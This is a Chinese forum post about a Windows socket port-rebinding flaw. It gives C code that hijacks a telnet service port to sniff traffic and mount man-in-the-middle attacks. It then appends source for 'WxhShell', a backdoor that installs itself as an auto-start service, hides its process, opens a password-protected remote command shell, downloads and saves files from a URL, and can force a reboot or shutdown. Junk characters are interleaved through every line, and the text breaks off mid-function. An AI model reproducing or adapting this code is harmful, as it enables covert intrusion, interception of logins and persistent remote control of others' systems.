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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #/<Y!qV&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g}QTZT8  
1iL xXd  
  saddr.sin_family = AF_INET; }F6b ]  
G | oG:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )%w8>1 }c  
DW&')gfQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yuDd% 1k  
!13 /+ u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v=1S  
i!x5T%x_  
  这意味着什么?意味着可以进行如下的攻击: BrMp_M  
| V,jd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~j#6 goKn  
[(EH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %MZDm&f>Kk  
O \8G~V 5"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ia:puks=  
mIEaWE;E"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9R"N#w.U]  
<L/vNP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sNmC#,  
\'tz|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $'{`i 5XB  
oHd0 <TO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Prz +kPP  
:k(t/*Nl3  
  #include i}F;fWZ`  
  #include )h_ 7 2  
  #include !nBm}E7d  
  #include    [k 7N+W8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fUKdC \WL  
  int main() LY:?OGh  
  { |O+>#  
  WORD wVersionRequested; qS}RFM5|  
  DWORD ret; BBE1}V!u  
  WSADATA wsaData; j{Jc6U  
  BOOL val; ZfCr"aL  
  SOCKADDR_IN saddr; G:C6`uiy`  
  SOCKADDR_IN scaddr; 8kM0  
  int err; <ZC^H  
  SOCKET s; '# IuY  
  SOCKET sc; !vVjZ  
  int caddsize; p2DNbY\]  
  HANDLE mt; as |c`4r\O  
  DWORD tid;   Y1aF._Z  
  wVersionRequested = MAKEWORD( 2, 2 ); `=$jc4@J  
  err = WSAStartup( wVersionRequested, &wsaData ); Z6([/n  
  if ( err != 0 ) { ^npS==Y]!.  
  printf("error!WSAStartup failed!\n"); :F w"u4WI  
  return -1; fZ~kw*0*  
  } .P :f  
  saddr.sin_family = AF_INET; 2n;;Tso"  
   !^bB/e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r2F  
3et2\wOX1x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V&j.>Y  
  saddr.sin_port = htons(23); S]%U]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dw/Gha/  
  { ;E?  hz  
  printf("error!socket failed!\n"); Vt)\[Tl~  
  return -1; 5OW8G][  
  } b|8>eY  
  val = TRUE; ,#jhKnk2e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y_4krY|Zx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #JR,C -w  
  { &c?hJ8"  
  printf("error!setsockopt failed!\n"); vWi. []  
  return -1; Z0 IxYEp  
  } vV\F^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -,fa{yt-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a.&#dxgW[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 . (*kgv@3x  
H^PqYLj N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _ kSPUP5  
  { {F6dSF`  
  ret=GetLastError(); r|\'9"@  
  printf("error!bind failed!\n"); eo*u(@  
  return -1; 6n6VEwYj  
  } [T[9*6Kt  
  listen(s,2); 6:@t=C  
  while(1)  e(;`9T  
  { CX ]\Q-y  
  caddsize = sizeof(scaddr);  2H K  
  //接受连接请求 fzFvfMAU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zhX`~){N6  
  if(sc!=INVALID_SOCKET) HMS9y%zl/  
  { :OQ:@Yk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $,QpSK`9i  
  if(mt==NULL) bu"68A;>  
  { ic0v*Y$  
  printf("Thread Creat Failed!\n"); ,+f0cv4  
  break; m~j\?mb{+  
  } ~Ri u*<  
  } 'D0X?2  
  CloseHandle(mt); R|)2Dg  
  } Neo^C_[vN  
  closesocket(s); KIAe36.~  
  WSACleanup(); x#j\"$dla  
  return 0; Msa6yD#  
  }   4j/iG\  
  DWORD WINAPI ClientThread(LPVOID lpParam) yhtvr5z1  
  { bhqq  
  SOCKET ss = (SOCKET)lpParam; I~]Q55  
  SOCKET sc; (XG[_  
  unsigned char buf[4096]; Iz GB  
  SOCKADDR_IN saddr; R<lNk<  
  long num; ]zvVY:v  
  DWORD val; R0hc tT1j  
  DWORD ret; 3b?OW7H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8pq-nuf|K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lA.;ZD!  
  saddr.sin_family = AF_INET; aO^:dl5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @`kiEg'Q  
  saddr.sin_port = htons(23); :<t{ =0G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vh#Mp!  
  { 1t\b a1x  
  printf("error!socket failed!\n"); Z4HA94  
  return -1; o1#:j?sN  
  } AJ#m6`M+EK  
  val = 100; "Ql}Y1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] [HGzHA  
  { E/dO7I`B   
  ret = GetLastError(); &G pA1  
  return -1; jr[<i\!  
  } |,1bkJt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U7]<U-.&  
  { }dd k}wga  
  ret = GetLastError(); sk7rU+<  
  return -1; uK;K{  
  } $@_<$t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G+hF [b44'  
  { Q_QKm0!  
  printf("error!socket connect failed!\n"); >St. &#c  
  closesocket(sc); f E.L  
  closesocket(ss); WG8iTVwx  
  return -1; oTF^<I-C  
  } _^6|^PT.  
  while(1) t":W.q<  
  { l- 1]w$ y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SY$J+YBLM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r)6uX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >&<<8Ln  
  num = recv(ss,buf,4096,0); p |\%:#  
  if(num>0) j!lAxlOX  
  send(sc,buf,num,0); @q> ktE_  
  else if(num==0) V\@jC\-5Vt  
  break; N ;Z`%&  
  num = recv(sc,buf,4096,0); XDpfpJ,z"}  
  if(num>0) })o~E  
  send(ss,buf,num,0); 2/v35| ?  
  else if(num==0) 6Iv(  
  break; $Wr\ [P:  
  } tLD~  
  closesocket(ss); `%t$s,TiP  
  closesocket(sc); A$%Q4jC}  
  return 0 ; ]DC;+;8Jc  
  } \);.0  
VX^o"9Ntl  
49+ >f  
========================================================== o%Be0~n'  
AezvBY0'`z  
下边附上一个代码,,WXhSHELL ~|CJsD/  
MvFM ,  
========================================================== J$#h( D%  
{J,6iP{>ZN  
#include "stdafx.h" a>wfhmr  
%6NO0 F^  
#include <stdio.h> . ]o3A8  
#include <string.h> <`R|a *  
#include <windows.h> \!+-4,CbZY  
#include <winsock2.h> [ME}Cv`?<E  
#include <winsvc.h> u\{qH!?t  
#include <urlmon.h>  SwdC,  
I#|ocz  
#pragma comment (lib, "Ws2_32.lib") .q0218l:dF  
#pragma comment (lib, "urlmon.lib") ;YK!EMM4!h  
Aautih@LX  
#define MAX_USER   100 // 最大客户端连接数 gEZwW]r-  
#define BUF_SOCK   200 // sock buffer Ni2]6U  
#define KEY_BUFF   255 // 输入 buffer g d337jw  
Sao>P[#x  
#define REBOOT     0   // 重启 *:=];1 O  
#define SHUTDOWN   1   // 关机 [_y9"MMwn  
 }Vvsh3  
#define DEF_PORT   5000 // 监听端口 "sF Xl  
D9qX->p  
#define REG_LEN     16   // 注册表键长度 Qs|OG  
#define SVC_LEN     80   // NT服务名长度 ,M\j%3  
Dh2:2Rz=#7  
// 从dll定义API 2.[_t/T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "| K f'/r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s1X]RXX&j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); az0cS*@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vh"MKJ'R^  
9o-!ecx}  
// wxhshell配置信息 kWB, ;7  
struct WSCFG { Gs[Vu@*  
  int ws_port;         // 监听端口 cCM j\H@  
  char ws_passstr[REG_LEN]; // 口令 UdT&cG  
  int ws_autoins;       // 安装标记, 1=yes 0=no [RAj3Fr0  
  char ws_regname[REG_LEN]; // 注册表键名 W8f`J2^"M  
  char ws_svcname[REG_LEN]; // 服务名 X'cf&>h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r%0pQEl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '5'3_vM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Ut6;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wA?@v|,dZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [^<SLTev  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !8.En8Z<D-  
B{s]juPG  
}; 12idM*  
'@'B>7C#  
// default Wxhshell configuration 7t'(`A 6t/  
struct WSCFG wscfg={DEF_PORT, |q3f]T&+>{  
    "xuhuanlingzhe", mO#I nTO  
    1, ]#F q>E  
    "Wxhshell", Mv|vRx^b  
    "Wxhshell", t,RyeS/  
            "WxhShell Service", sz'p3  
    "Wrsky Windows CmdShell Service", |<sf:#YzY&  
    "Please Input Your Password: ", K!GUv{fp  
  1, S[v Rw]*  
  "http://www.wrsky.com/wxhshell.exe", JW=uK$sO  
  "Wxhshell.exe" Yt -W1vl  
    }; UM<@t%|>  
m7JPH7P@BM  
// 消息定义模块 lp(Nv(S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4[`[mE18.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {5>3;.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -  $%jb2  
char *msg_ws_ext="\n\rExit."; )AOPiC$jL  
char *msg_ws_end="\n\rQuit."; $4=Ne3 y  
char *msg_ws_boot="\n\rReboot..."; [M4xZHd#o  
char *msg_ws_poff="\n\rShutdown..."; sF y]+DB  
char *msg_ws_down="\n\rSave to "; =(%*LY!Xc  
D/Rv&>Jh  
char *msg_ws_err="\n\rErr!"; &GuF\wJ{7  
char *msg_ws_ok="\n\rOK!"; }d_<\  
DB#$~(o  
char ExeFile[MAX_PATH]; g[M]i6h2  
int nUser = 0; *xPB<v2N:P  
HANDLE handles[MAX_USER]; ugno]5Ni  
int OsIsNt; Qh^R Ax  
*/nuv k  
SERVICE_STATUS       serviceStatus; dgXg kB'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s3seK6x'  
!Q!&CG5l  
// 函数声明 dsV ~|D6:  
int Install(void); 7R: WX:  
int Uninstall(void); `aIG;@Z  
int DownloadFile(char *sURL, SOCKET wsh); /J;;|X#P  
int Boot(int flag); {B3(HiC  
void HideProc(void); 6#E7!-u(-  
int GetOsVer(void); yr5NRs  
int Wxhshell(SOCKET wsl); aVP5%  
void TalkWithClient(void *cs); ,(P %z.P@  
int CmdShell(SOCKET sock); *%X.ym'  
int StartFromService(void); T8U[xu.>  
int StartWxhshell(LPSTR lpCmdLine);  =^Th[B  
S/VA~,KCe;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q\|18wkW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4Q;<Q"  
Lx%:t YZ  
// 数据结构和表定义 0pD[7~^o  
SERVICE_TABLE_ENTRY DispatchTable[] = )S2iIi;Bq  
{ mf}\s]_c  
{wscfg.ws_svcname, NTServiceMain}, >PIPp7C  
{NULL, NULL} I]jX7.fx  
}; "J& (:(:  
w,Q)@]_  
// 自我安装 &3I$8v|!?  
int Install(void) c}%es=@  
{ UeA2c_ 5  
  char svExeFile[MAX_PATH]; zj{(p Z1  
  HKEY key; I0iY+@^5  
  strcpy(svExeFile,ExeFile); >60"p~t  
;}D-:J-z_  
// 如果是win9x系统,修改注册表设为自启动 .U 39nd  
if(!OsIsNt) { U+} y %3l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;|!MI'Af  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >b>gr OX  
  RegCloseKey(key); UT4f (Xo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P{cos&X|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bE d?^h  
  RegCloseKey(key); zks#EzQ  
  return 0; ;, rnk-  
    } d@ZoV  
  } Pu..NPl+  
} !R74J=#(  
else { ?I[h~vr6.  
`E W!-v)  
// 如果是NT以上系统,安装为系统服务 <1 S+ '  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &\k?xN  
if (schSCManager!=0) V\AK6U@r^  
{ 0~]QIdu{AR  
  SC_HANDLE schService = CreateService 'irGvex  
  ( E_3r[1l  
  schSCManager, y@A6$[%(E|  
  wscfg.ws_svcname, ^X &)'H  
  wscfg.ws_svcdisp, &dRjqn^&X  
  SERVICE_ALL_ACCESS, b66R}=P l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [/OQyb4F<  
  SERVICE_AUTO_START,  , ]7XMU3  
  SERVICE_ERROR_NORMAL, &2{]hRM  
  svExeFile, nhewDDu  
  NULL, j&CZ=?K^c  
  NULL, b@ 6:1x  
  NULL, Fc'[+L--Q  
  NULL, \5hw9T&[B  
  NULL .E$q&7@/j  
  ); 2h )8Fq_"  
  if (schService!=0) GJ`UO  
  { 1i'Z ei)  
  CloseServiceHandle(schService); JpK[&/Ct  
  CloseServiceHandle(schSCManager); 4.Z(:g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~^$MA$/p  
  strcat(svExeFile,wscfg.ws_svcname); g\&2s,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pds*2p)2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :tLbFW[  
  RegCloseKey(key); [D[D`gpjA  
  return 0; Nd!c2`  
    } r?^"6 5 =  
  } 2r;GcjezH  
  CloseServiceHandle(schSCManager); <HF-2?`  
} 6V2j*J  
} B\[-fq  
3gc"_C\$  
return 1; Pq?*C;D  
} v9rVpYc"  
AS|Rd+ .  
// 自我卸载 y]'CXCml)  
int Uninstall(void) QKccrAo  
{ FJwt?3\u5  
  HKEY key; KjOi(YUnq7  
@9vvR7{P  
if(!OsIsNt) { tOH0IE c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zMGzReJ  
  RegDeleteValue(key,wscfg.ws_regname); >vVw!.fJ  
  RegCloseKey(key); XWtiwf'K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nU17L6'$  
  RegDeleteValue(key,wscfg.ws_regname); PN &|8_  
  RegCloseKey(key); azX`oU,l  
  return 0; $XGtS$  
  } 0T))>.iu#  
} <hv7s,i  
} lFf XWNb  
else { .C= I^  
s.:r;%a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aZKXD! 4  
if (schSCManager!=0) c'0 5{C  
{ J3B.-XJ+n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VR4%v9[1  
  if (schService!=0) y|sma;D  
  { 4AHL3@x  
  if(DeleteService(schService)!=0) { e4[) WNR  
  CloseServiceHandle(schService); dy:d=Z  
  CloseServiceHandle(schSCManager); _Adsq8sFW  
  return 0; K-(;D4/sQE  
  } d>!p=O`>{q  
  CloseServiceHandle(schService); {/ &B!zvl  
  } h8 =h >W-  
  CloseServiceHandle(schSCManager); S}7>RHe  
} RmOyGSO  
} 4seciz0?  
f#P_xn&et  
return 1; x?L hq2  
} V]c5 Z$Bd  
}V]eg,.BJ  
// 从指定url下载文件 L~eAQR  
int DownloadFile(char *sURL, SOCKET wsh) b Us|t  
{ t5) J;0/  
  HRESULT hr; TyOH`5 D  
char seps[]= "/"; #DUh(:E'`  
char *token; |C D}<r(N  
char *file; _M5Xk?e=  
char myURL[MAX_PATH]; ;|TT(P:d  
char myFILE[MAX_PATH]; K@r*;T  
 O<GF>  
strcpy(myURL,sURL); O >FO>  
  token=strtok(myURL,seps); 2-v\3voN  
  while(token!=NULL) RH1uVdJ1  
  { kon=il<@  
    file=token; -t4 [oB  
  token=strtok(NULL,seps); 1TRN~#ix  
  } uvB1VV4  
#T\  
GetCurrentDirectory(MAX_PATH,myFILE); 0M8.U  
strcat(myFILE, "\\"); &+r 4  
strcat(myFILE, file); El6bD% \G  
  send(wsh,myFILE,strlen(myFILE),0); `^##b6jH  
send(wsh,"...",3,0); te'*<HM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |4Ha?W  
  if(hr==S_OK) C4NRDwU|.  
return 0; If'2rE7J  
else n93zD*;5  
return 1; 6[?}6gQ  
sX:lE^)-z  
} YKs4{?vw  
1V%'.l9  
// 系统电源模块 Wsm`YLYkt!  
int Boot(int flag) bGv4.:)  
{ p4> ,Fwy2  
  HANDLE hToken; Qb`C)Nh:  
  TOKEN_PRIVILEGES tkp; %S#WPD'Y  
(~()RkT  
  if(OsIsNt) { Vk7=7%xW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .wc = ]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jps .;yjk  
    tkp.PrivilegeCount = 1; ;&?pd"^<_Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A/ 0qk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J_ J+cRwq  
if(flag==REBOOT) { [xdj6W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) - DL"-%X.  
  return 0; +v15[^F  
} >V!LitdJ  
else { sR*Nq5F#9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '[Gm8K5  
  return 0; Fu)Th|5GZ  
} -&Gfh\_NW  
  } hz)9"B\S  
  else { ^ vbWRG~  
if(flag==REBOOT) { 2 F?kjg,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n`L,]dco  
  return 0; h0VzIuV  
} uD)-V;}P@;  
else { a$}mWPp+f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W9R`A  
  return 0; o^ h(#%O  
} _V@P-Ye  
} .nZ3kT`  
qY(:8yC36  
return 1; T9)wj][ .  
} ,7,;twKz  
9*}gl3y  
// win9x进程隐藏模块 ,{{SI  
void HideProc(void) (@&I_>2Q  
{ $']VQ4tZ  
40K2uT{cq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <NB41/  
  if ( hKernel != NULL ) xmH-!Da  
  { /EFq#+6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @@} `hii  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zvf3b!}  
    FreeLibrary(hKernel); [7W(NeMk  
  } \&q=@rJp(z  
_CdROo6I  
return; {}\CL#~y  
} GLh]G(  
D1X{:#|  
// 获取操作系统版本 ]\;xN~l  
int GetOsVer(void) 'G#SLqZy  
{ A=`* r*  
  OSVERSIONINFO winfo; <qY5SV,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); crn k|o  
  GetVersionEx(&winfo); h<3p8eB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $qm~c[x%  
  return 1; c8ZCs?   
  else 8H $#+^lW  
  return 0; JTUNb'#RZ  
} >q(6,Mmb  
xm^95}80yh  
// 客户端句柄模块 h%1Y6$  
int Wxhshell(SOCKET wsl) +ld;k/  
{ Hed$ytMaGz  
  SOCKET wsh; *not.2+  
  struct sockaddr_in client; V}9;eJRvw  
  DWORD myID; s4t0f_vj`  
E`AYee%l  
  while(nUser<MAX_USER) Tf-CEHWD  
{ oI@ 9}*  
  int nSize=sizeof(client); 5"=:#zN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E`xU m9F  
  if(wsh==INVALID_SOCKET) return 1; r_2b tpL^  
wkikD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nW5K[/1D  
if(handles[nUser]==0) ]Oso#GYD  
  closesocket(wsh); > saI+u'o  
else GS%b=kc  
  nUser++; dVGbe07  
  } #nEL~&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /77z\[CeYH  
#x~_`>mDN  
  return 0;  _^T}_  
} yGEb7I$h  
9X]f[^  
// 关闭 socket Q!$IQJ]|Y  
void CloseIt(SOCKET wsh) D'L{wm  
{  ;Qa;@  
closesocket(wsh); detLjlE  
nUser--; ;.s: X  
ExitThread(0); t)I0lnbs  
} \"d?=uFe  
=Ahw%`/&}]  
// 客户端请求句柄 v*r9j8  
void TalkWithClient(void *cs) g rbTcLSF  
{ B>|5xpZM12  
&;v!oe   
  SOCKET wsh=(SOCKET)cs; ;BI)n]L  
  char pwd[SVC_LEN]; YzV(nEW  
  char cmd[KEY_BUFF]; K0<yvew  
char chr[1]; k18$JyaG  
int i,j; e &3#2_  
*Nlu5(z  
  while (nUser < MAX_USER) { O5;-Om  
Jz$ >k$!UD  
if(wscfg.ws_passstr) { Yu3_=: <C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i<iXHBs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <SQ(~xYi  
  //ZeroMemory(pwd,KEY_BUFF); btQet.  
      i=0; N!m%~kS9k<  
  while(i<SVC_LEN) { T %/  
r}EM4\r  
  // 设置超时 uaxB -PZ  
  fd_set FdRead; :qnokrGzB  
  struct timeval TimeOut; 1nB@zBQu -  
  FD_ZERO(&FdRead); NI\H \#bJ  
  FD_SET(wsh,&FdRead); h{/ve`F>@  
  TimeOut.tv_sec=8; x,1=D~L}  
  TimeOut.tv_usec=0; A&l7d0Z^j5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \n0gTwiO%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k7Oy5$##  
J px'W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f)^t')  
  pwd=chr[0]; "Ot{^ _e  
  if(chr[0]==0xd || chr[0]==0xa) { MPvWCPB  
  pwd=0; qGa<@ b  
  break; KjYDFrR4  
  } ,?y7 ,nb  
  i++; HRHrSf7  
    } D rTM$)  
K:w]> a  
  // 如果是非法用户,关闭 socket (1 yGg==W.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %#9P?COs&W  
} .,mM%w,^O  
^zeL+(@r/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4Hd Si  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IMaYEO[  
$8@+j[>  
while(1) { W5I=X] &  
\`gEu{  
  ZeroMemory(cmd,KEY_BUFF); wlVvxX3%  
BWEv1' v  
      // 自动支持客户端 telnet标准   sVoR?peQ  
  j=0; : ;TYL[  
  while(j<KEY_BUFF) { ]xrD<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CB({Rn  
  cmd[j]=chr[0]; %uuH^A  
  if(chr[0]==0xa || chr[0]==0xd) { ?9S+Cj`  
  cmd[j]=0; `[@VxGy_  
  break; yFO)<GLk  
  } +2y&B,L_Wh  
  j++; [<Jp#&u6sb  
    } f".q9{+p,  
ue9h   
  // 下载文件 J)huy\>,  
  if(strstr(cmd,"http://")) { qUg9$oh{LI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v= 8VvT 8  
  if(DownloadFile(cmd,wsh)) 6ZEdihBei  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y.ql#eQ,  
  else .C?GW1[c~@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :<UtHf<=k  
  } 4k$0CbHx0  
  else { 97]4 :Zv  
Y?t2,cm   
    switch(cmd[0]) { Yj3*)k  
  QQ~23TlA  
  // 帮助 2L[l'}  
  case '?': { ~#t*pOC5BR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kF2Qv.5!  
    break; j"6:A  
  } Gc^t%Ue-H)  
  // 安装 G1p'p&x.  
  case 'i': { qp@m&GH  
    if(Install()) EW9b*r7./  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , QA9k$`  
    else ifHU|0_=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sW'6} ^Q  
    break; !l"tI#?6W%  
    } f?5A"-NS  
  // 卸载 TZBVU&,{Z  
  case 'r': { 0V7 _n  
    if(Uninstall()) (GNEYf|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -xTKdm D  
    else LU G9 #.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  feN!_ -  
    break; dFMAh&:>  
    } |Q6h /"2  
  // 显示 wxhshell 所在路径 OF-WUa4t  
  case 'p': { _T a}B4;  
    char svExeFile[MAX_PATH]; _eh3qs:  
    strcpy(svExeFile,"\n\r"); l_b_-p  
      strcat(svExeFile,ExeFile); |G=FqAX H  
        send(wsh,svExeFile,strlen(svExeFile),0); j"0rkN3$J  
    break; ?cJA^W  
    } ]7l{g9?ZtV  
  // 重启 l{QC}{Ejc2  
  case 'b': { SlN"(nq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,@479ZvvR3  
    if(Boot(REBOOT)) T,Fm"U6[(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `OBl:e  
    else { fOLnK y#  
    closesocket(wsh); W W35&mI)k  
    ExitThread(0); F#KF6)P  
    } [brkx3h  
    break; G}q<{<+$  
    } q55M8B 4w  
  // 关机 \eT/%$  
  case 'd': { 3wo'jOb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c`pYc  
    if(Boot(SHUTDOWN)) Cg7)S[zl  
